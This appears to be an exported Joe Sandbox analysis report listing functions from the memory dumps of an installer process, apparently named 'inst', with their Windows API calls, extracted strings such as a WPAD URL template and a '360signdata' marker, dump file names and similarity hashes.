API ID: FileTemp_memset$DeleteNamePath
String ID:
API String ID: 433304728-0
Opcode ID: 61621b7fd172be74b07b308a59e566964669fe385190a8ec19530db0f10da232
Instruction ID: 7e394d8715032fc28c7a77cd23d4f007549fc33ea6bcaf9b406a9da837beb35f
Opcode Fuzzy Hash: 61621b7fd172be74b07b308a59e566964669fe385190a8ec19530db0f10da232
Instruction Fuzzy Hash: 751188F6A0121C6BCF10DB94EC49FDEB3BCEF54300F1040A5BA15E3181DA74AB848BA5

Function 001CD3E1 Relevance: 7.6, APIs: 5, Instructions: 52processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 001CD400
Process32FirstW.KERNEL32(00000000,?), ref: 001CD422
CloseHandle.KERNEL32(00000000,00000002,00000000), ref: 001CD42C
Process32NextW.KERNEL32(00000000,0000022C), ref: 001CD447
CloseHandle.KERNEL32(00000000,00000002,00000000), ref: 001CD45B

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: CloseHandleProcess32$CreateFirstNextSnapshotToolhelp32
String ID:
API String ID: 1789362936-0
Opcode ID: 154fd8ac82ab62926ab0771a3f475856e2641b43f0b950cefd47565ff73923f5
Instruction ID: fae08a8977d1e9cb5f2cbb6a1d2fa9275de193a26bb6108d9b352f56caa15354
Opcode Fuzzy Hash: 154fd8ac82ab62926ab0771a3f475856e2641b43f0b950cefd47565ff73923f5
Instruction Fuzzy Hash: A611A130500104ABCB24AF34EC89FBEB3F8AB65310F51047DE902D7580EB38EA42CB21

Function 001AEC81 Relevance: 7.5, APIs: 5, Instructions: 47COMMON

Download Yara Rule

APIs

Part of subcall function 001AB670: DeleteObject.GDI32(?), ref: 001AB68C

GetModuleHandleW.KERNEL32(?), ref: 001AEC97
FindResourceW.KERNEL32(?,?,?), ref: 001AECA8
SizeofResource.KERNEL32(?,00000000), ref: 001AECB7
LoadResource.KERNEL32(?,00000000), ref: 001AECC1
LockResource.KERNEL32(00000000), ref: 001AECC8

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: Resource$DeleteFindHandleLoadLockModuleObjectSizeof
String ID:
API String ID: 2239502561-0
Opcode ID: 8451cc26ee0362651a7867e679e2bce8f2b75c7283c244efcbfe313e4427bf93
Instruction ID: 4450c3f01d887cd470f20a8f9bf00690042f0c481aceb3db8bf927eb2798df57
Opcode Fuzzy Hash: 8451cc26ee0362651a7867e679e2bce8f2b75c7283c244efcbfe313e4427bf93
Instruction Fuzzy Hash: 10016D36500214BFDF105BA5AC4CEAF7BACEF967607118469FC15D7104DB35DD40C6A0

Function 5F5174A3 Relevance: 7.5, APIs: 5, Instructions: 47registrysynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,00000000,74DF23A0,?,?,5F4F5E2D), ref: 5F5174BC
ResetEvent.KERNEL32(?,?,?,5F4F5E2D), ref: 5F5174C4
RegNotifyChangeKeyValue.KERNEL32(?,00000000,00000004,?,00000001,?,?,5F4F5E2D), ref: 5F5174F9

Memory Dump Source

Source File: 00000007.00000002.4158634502.000000005F4D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 5F4D0000, based on PE: true

Associated: 00000007.00000002.4158576782.000000005F4D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158731034.000000005F54F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F56F000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F575000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F57A000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F5BC000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4159004826.000000005F5BF000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5f4d0000_inst.jbxd

Similarity

API ID: ChangeEventNotifyObjectResetSingleValueWait
String ID:
API String ID: 1286042878-0
Opcode ID: 63e3f30a510778baa496c7217ef32f37ccd046b69da91e602221e5eb0aafc0e7
Instruction ID: 30f83ce364ba472900966558c63204852a69165646ad98c2e6320272b14ff8be
Opcode Fuzzy Hash: 63e3f30a510778baa496c7217ef32f37ccd046b69da91e602221e5eb0aafc0e7
Instruction Fuzzy Hash: 430186B2200601AFF7211F79DC84E577EE9EB443A4B010D3DF2D6D6060D372BD659A20

Function 001E49FC Relevance: 7.5, APIs: 5, Instructions: 44memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 001E4A1A

Part of subcall function 001F339F: __mtinitlocknum.LIBCMT ref: 001F33B5
Part of subcall function 001F339F: __amsg_exit.LIBCMT ref: 001F33C1
Part of subcall function 001F339F: EnterCriticalSection.KERNEL32(?,?,?,001F4EDB,0000000D,0023EFE8,00000008,001EEA68,?,00000000), ref: 001F33C9

___sbh_find_block.LIBCMT ref: 001E4A25
___sbh_free_block.LIBCMT ref: 001E4A34
RtlFreeHeap.NTDLL(00000000,?,0023E890,0000000C,001F4E21,00000000,?,001F05A7,?,00000001,?,?,001F3329,00000018,0023EF60,0000000C), ref: 001E4A64
GetLastError.KERNEL32(?,001F05A7,?,00000001,?,?,001F3329,00000018,0023EF60,0000000C,001F33BA,?,?,?,001F4EDB,0000000D), ref: 001E4A75

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: CriticalEnterErrorFreeHeapLastSection___sbh_find_block___sbh_free_block__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2714421763-0
Opcode ID: c6a07682b862d6847562d4e9e0f1b6a5ea2d79049a9d56794764bbe323e178c2
Instruction ID: dd1324e46cac8cb5174242f5410179022e48016e81f7b7153baf902a881ce1b1
Opcode Fuzzy Hash: c6a07682b862d6847562d4e9e0f1b6a5ea2d79049a9d56794764bbe323e178c2
Instruction Fuzzy Hash: 5E016231D41A85ABDF24ABB2AC0EB5D7BA4AF61731F114528F515A70D1DB3889408A98

Function 001B5F4D Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 158COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 001B5F54

Strings

A:\, xrefs: 001B6049

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: H_prolog3_
String ID: A:\
API String ID: 2427045233-3379428675
Opcode ID: 099052611ce37ec785fe031cb45279aa68862cca6b778d16bb162a9c4f08cdaa
Instruction ID: 0d9bedab6c9fd8d76b46607f69af270e32261a37e0ea922e6afa2d76c5847c74
Opcode Fuzzy Hash: 099052611ce37ec785fe031cb45279aa68862cca6b778d16bb162a9c4f08cdaa
Instruction Fuzzy Hash: 9A411938A00512DADF39BB1AC85ABFDB6A2EF74310F51402DF942D7195DB288D82CB51

Function 001D6894 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 114COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 001D689E
_memcmp.LIBCMT ref: 001D694B
_memset.LIBCMT ref: 001D6964

Strings

[360signdata]sign=, xrefs: 001D6945

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: H_prolog3__memcmp_memset
String ID: [360signdata]sign=
API String ID: 1379577869-1737267629
Opcode ID: 3207b167ca5e88de9c1ef27de77977c3529cbd68bf79a95a4d15ddba2e47a480
Instruction ID: 47500fd7a01d6eddccc6ac7bd60477defb2d73bfb998051e945f500edcf216b1
Opcode Fuzzy Hash: 3207b167ca5e88de9c1ef27de77977c3529cbd68bf79a95a4d15ddba2e47a480
Instruction Fuzzy Hash: 104192B1D046189BCB24EB64CC51AEE73B8AF24315F5406AAE549E32C1E774AE848E50

Function 00198544 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 77COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0019854B

Part of subcall function 001E5546: _malloc.LIBCMT ref: 001E5560

Part of subcall function 0017A8EB: _wcsnlen.LIBCMT ref: 0017A91D

Part of subcall function 001CE037: _memset.LIBCMT ref: 001CE069
Part of subcall function 001CE037: GetTempPathW.KERNEL32(00000104,?,0024CDA4,?,?), ref: 001CE07D
Part of subcall function 001CE037: _memset.LIBCMT ref: 001CE08D
Part of subcall function 001CE037: GetTempFileNameW.KERNEL32(?,001985B6,00000000,?,?,?,?,?,?,?), ref: 001CE0A6
Part of subcall function 001CE037: DeleteFileW.KERNEL32(?,?,?,?,?,?,?), ref: 001CE0B3

GetTickCount.KERNEL32 ref: 001985F7

Strings

!@tmpini%^&, xrefs: 001985AB
?rd=%d, xrefs: 0019858B

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: FileTemp_memset$CountDeleteH_prolog3NamePathTick_malloc_wcsnlen
String ID: !@tmpini%^&$?rd=%d
API String ID: 431327915-4013382025
Opcode ID: 2e6743f4b829abc14e4c9f93aafd35d1277e2c22b1860077d5b2704c7bee497a
Instruction ID: aedc9f09cfe4b28c8e6b9fbe1ca7c500adac3ceba0a49d140f14dc30f95b2d40
Opcode Fuzzy Hash: 2e6743f4b829abc14e4c9f93aafd35d1277e2c22b1860077d5b2704c7bee497a
Instruction Fuzzy Hash: FA21BA71A042089ADB14FBE4DC96BFFB3A9AF64310F000518F21AA71C2DF70A9548765

Function 001A30A3 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 56COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 001A30AA
SetWindowPos.USER32(?,00000000,00000000,00000000,0000019F,00000078,00000006,0000012A,PNG,00000018), ref: 001A30E5

Part of subcall function 0018E185: GetDC.USER32(?), ref: 0018E193

Part of subcall function 001E5546: _malloc.LIBCMT ref: 001E5560

Part of subcall function 00197323: CreateCompatibleDC.GDI32(?), ref: 00197347
Part of subcall function 00197323: SelectObject.GDI32(?,?), ref: 0019736E
Part of subcall function 00197323: SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 00197387

Strings

x, xrefs: 001A3104
PNG, xrefs: 001A30B1

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: CompatibleCreateH_prolog3ObjectSelectViewportWindow_malloc
String ID: PNG$x
API String ID: 2666613662-1595511861
Opcode ID: 4bf33a7be8ba705eb1c8d98c4a7a230633ce022df3915faafcb4f74affe96361
Instruction ID: a86643b9bd2d77c1acc85b7f98a6ecd6e9e18db7a520fcff87ba2e335ab1980f
Opcode Fuzzy Hash: 4bf33a7be8ba705eb1c8d98c4a7a230633ce022df3915faafcb4f74affe96361
Instruction Fuzzy Hash: 3711C170A00608AFDF04EFA4C88AABEB6F6FF55314F90406CF006A71D1DB75AE059B11

Function 5F4F55B1 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 5F4F4E4F: __EH_prolog3_GS.LIBCMT ref: 5F4F4E56

Part of subcall function 5F513F0C: _memset.LIBCMT ref: 5F513F3E
Part of subcall function 5F513F0C: wvnsprintfW.SHLWAPI(?,000003FF,?,?), ref: 5F513F59

CreateEventW.KERNEL32(00000000,00000001,00000000,00000000), ref: 5F4F55EC
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000), ref: 5F4F55FC

Strings

_IsHaveEntClient:%d, xrefs: 5F4F55BD
Software\Microsoft\Windows\CurrentVersion\Internet Settings, xrefs: 5F4F5606

Memory Dump Source

Source File: 00000007.00000002.4158634502.000000005F4D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 5F4D0000, based on PE: true

Associated: 00000007.00000002.4158576782.000000005F4D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158731034.000000005F54F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F56F000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F575000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F57A000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F5BC000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4159004826.000000005F5BF000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5f4d0000_inst.jbxd

Similarity

API ID: CreateEvent$H_prolog3__memsetwvnsprintf
String ID: Software\Microsoft\Windows\CurrentVersion\Internet Settings$_IsHaveEntClient:%d
API String ID: 1875430345-55523219
Opcode ID: 8a1e7bd9fcd246d820a1973d6f7d73026419fce6c535eed3656b075ee9ee376a
Instruction ID: a31d84c14e4c1f9fe730eb51f20af833d2977c9626bde48cd3a0af39e49d3c4c
Opcode Fuzzy Hash: 8a1e7bd9fcd246d820a1973d6f7d73026419fce6c535eed3656b075ee9ee376a
Instruction Fuzzy Hash: E4F03CB14027486BD2259BB68C44CE7BBECEFC6B65751092EF2AA56200DA316440C6A5

Function 5F51C5DF Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 33windowCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 5F51C5EA
SendMessageW.USER32(5F5BC3F0,?,?,?), ref: 5F51C5FC
GetTickCount.KERNEL32 ref: 5F51C604

Part of subcall function 5F513FED: _memset.LIBCMT ref: 5F514020
Part of subcall function 5F513FED: wvnsprintfW.SHLWAPI(?,000003FF,?,00007148), ref: 5F51403B

Strings

[CAsyncNetwork::SyncSendMsg] msg: %d cost: %d s, xrefs: 5F51C61D

Memory Dump Source

Source File: 00000007.00000002.4158634502.000000005F4D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 5F4D0000, based on PE: true

Associated: 00000007.00000002.4158576782.000000005F4D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158731034.000000005F54F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F56F000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F575000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F57A000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F5BC000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4159004826.000000005F5BF000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5f4d0000_inst.jbxd

Similarity

API ID: CountTick$MessageSend_memsetwvnsprintf
String ID: [CAsyncNetwork::SyncSendMsg] msg: %d cost: %d s
API String ID: 3817034548-3777656696
Opcode ID: e5fe9f97f2641d62d47b9b462adf060a0a99798c08f8b3f3bc712732eb494535
Instruction ID: ddda796f43729d6cbe721796fe3a0838a9ef3d4d20cdcd9dc67f3b4422427006
Opcode Fuzzy Hash: e5fe9f97f2641d62d47b9b462adf060a0a99798c08f8b3f3bc712732eb494535
Instruction Fuzzy Hash: F0F027779002115BE7019AB88C0CCAEBEE6DFC8120B01483BF548C3161C972CC6496A1

Function 5F4F2447 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 23COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 5F4F244B

Part of subcall function 5F4F2364: _malloc.LIBCMT ref: 5F4F2387
Part of subcall function 5F4F2364: GetNetworkParams.IPHLPAPI(00000000,?), ref: 5F4F239D
Part of subcall function 5F4F2364: _malloc.LIBCMT ref: 5F4F23B3
Part of subcall function 5F4F2364: GetNetworkParams.IPHLPAPI(00000000,?), ref: 5F4F23C8
Part of subcall function 5F4F2364: _memset.LIBCMT ref: 5F4F23EF
Part of subcall function 5F4F2364: __snwprintf.LIBCMT ref: 5F4F2416

__snwprintf.LIBCMT ref: 5F4F2475

Strings

wpad, xrefs: 5F4F2465
http://%s/wpad.dat, xrefs: 5F4F246A

Memory Dump Source

Source File: 00000007.00000002.4158634502.000000005F4D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 5F4D0000, based on PE: true

Associated: 00000007.00000002.4158576782.000000005F4D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158731034.000000005F54F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F56F000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F575000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F57A000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F5BC000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4159004826.000000005F5BF000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5f4d0000_inst.jbxd

Similarity

API ID: NetworkParams__snwprintf_malloc$CountTick_memset
String ID: http://%s/wpad.dat$wpad
API String ID: 140397255-1948369278
Opcode ID: cd4837cb4c79a0855b33a976ce35637c53343cb535a07b931fb9915a5bd2957b
Instruction ID: 31b3fe5bb63dd3a2c2f4511a188387ca3ddf837ed637e6998509205281808129
Opcode Fuzzy Hash: cd4837cb4c79a0855b33a976ce35637c53343cb535a07b931fb9915a5bd2957b
Instruction Fuzzy Hash: 5CE0C2B210931067C310BA665C08D6FBE99EFD62B0F09082BF85983312E6609556C1E1

Function 5F51E488 Relevance: 6.2, APIs: 4, Instructions: 238COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,?,?,?), ref: 5F51E70D

Part of subcall function 5F51CDE8: PostQuitMessage.USER32(00000000), ref: 5F51CECB

Memory Dump Source

Source File: 00000007.00000002.4158634502.000000005F4D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 5F4D0000, based on PE: true

Associated: 00000007.00000002.4158576782.000000005F4D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158731034.000000005F54F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F56F000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F575000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F57A000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F5BC000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4159004826.000000005F5BF000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5f4d0000_inst.jbxd

Similarity

API ID: MessagePostProcQuitWindow
String ID:
API String ID: 3873111417-0
Opcode ID: 5912346e96e22af19d9b709c30609cff189344cb438de4a5bb8e267372ebeee2
Instruction ID: f1da6df9ebcc23b361d5c13549b1526bd21f5252397a33b7784eecd043027460
Opcode Fuzzy Hash: 5912346e96e22af19d9b709c30609cff189344cb438de4a5bb8e267372ebeee2
Instruction Fuzzy Hash: 3E81A7B46012059BEB25DFA4C994EEFB7F5AF88310F10093AEA96D7241E734B941C7A1

Function 001650A0 Relevance: 6.2, APIs: 4, Instructions: 191fileCOMMON

Download Yara Rule

APIs

GetFileSizeEx.KERNEL32(?,?,?,?,00000000,?,?,?,?,?,0016611A,?,00000000,?), ref: 001650BC
SetFilePointerEx.KERNEL32(?,?,?,00000000,00000000,?,?,?,?,?,0016611A,?,00000000,?), ref: 0016515B
ReadFile.KERNEL32(?,?,00008000,?,00000000,?,?,?,?,?,0016611A,?,00000000,?), ref: 00165177
_memset.LIBCMT ref: 0016521E

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: File$PointerReadSize_memset
String ID:
API String ID: 1834740430-0
Opcode ID: 1fc16e1938b7e72bcf93b712f22c99ba8d560dbc645ae1c2caff58f02523a560
Instruction ID: 05a0eec18aa1ceb18bff27e9a4b3e40d55873fe09d45d23e0e1f3fd1ea06abbc
Opcode Fuzzy Hash: 1fc16e1938b7e72bcf93b712f22c99ba8d560dbc645ae1c2caff58f02523a560
Instruction Fuzzy Hash: 9751CB71A087009FE314DF69DC80B2BB7E5EF88714F54892DF889D7240EB34E9648B92

Function 00184994 Relevance: 6.2, APIs: 4, Instructions: 158filethreadCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0018499B
GetCurrentThreadId.KERNEL32 ref: 001849A2
__wcsicoll.LIBCMT ref: 00184A21
DeleteFileW.KERNEL32(?), ref: 00184B63

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: CurrentDeleteFileH_prolog3Thread__wcsicoll
String ID:
API String ID: 3249433508-0
Opcode ID: 3e25b781f450a4d977d1a5fc7e21167919bf465af6cf00ee973a09c7640ed862
Instruction ID: 0bb021375f769204a71890e13dcf3efc4d91ff014dd04537bbea853e6837093d
Opcode Fuzzy Hash: 3e25b781f450a4d977d1a5fc7e21167919bf465af6cf00ee973a09c7640ed862
Instruction Fuzzy Hash: AF519B3181064A9BDF19BFA0D886BEEB7B1FF24304F10442DE886A3192DF709A85CB51

Function 001CE697 Relevance: 6.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 001CE69E
PathFileExistsW.SHLWAPI(00000000,00000000,0022E544,0000005C,00000008,001CE838,?,?,0000002C), ref: 001CE75E
SHCreateDirectoryExW.SHELL32(00000000,00000000,00000000,?,?,0000002C), ref: 001CE76B
GetLastError.KERNEL32(?,?,0000002C), ref: 001CE7B5

Part of subcall function 0016DFB0: __CxxThrowException@8.LIBCMT ref: 0016DFC2

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: CreateDirectoryErrorException@8ExistsFileH_prolog3LastPathThrow
String ID:
API String ID: 3549841302-0
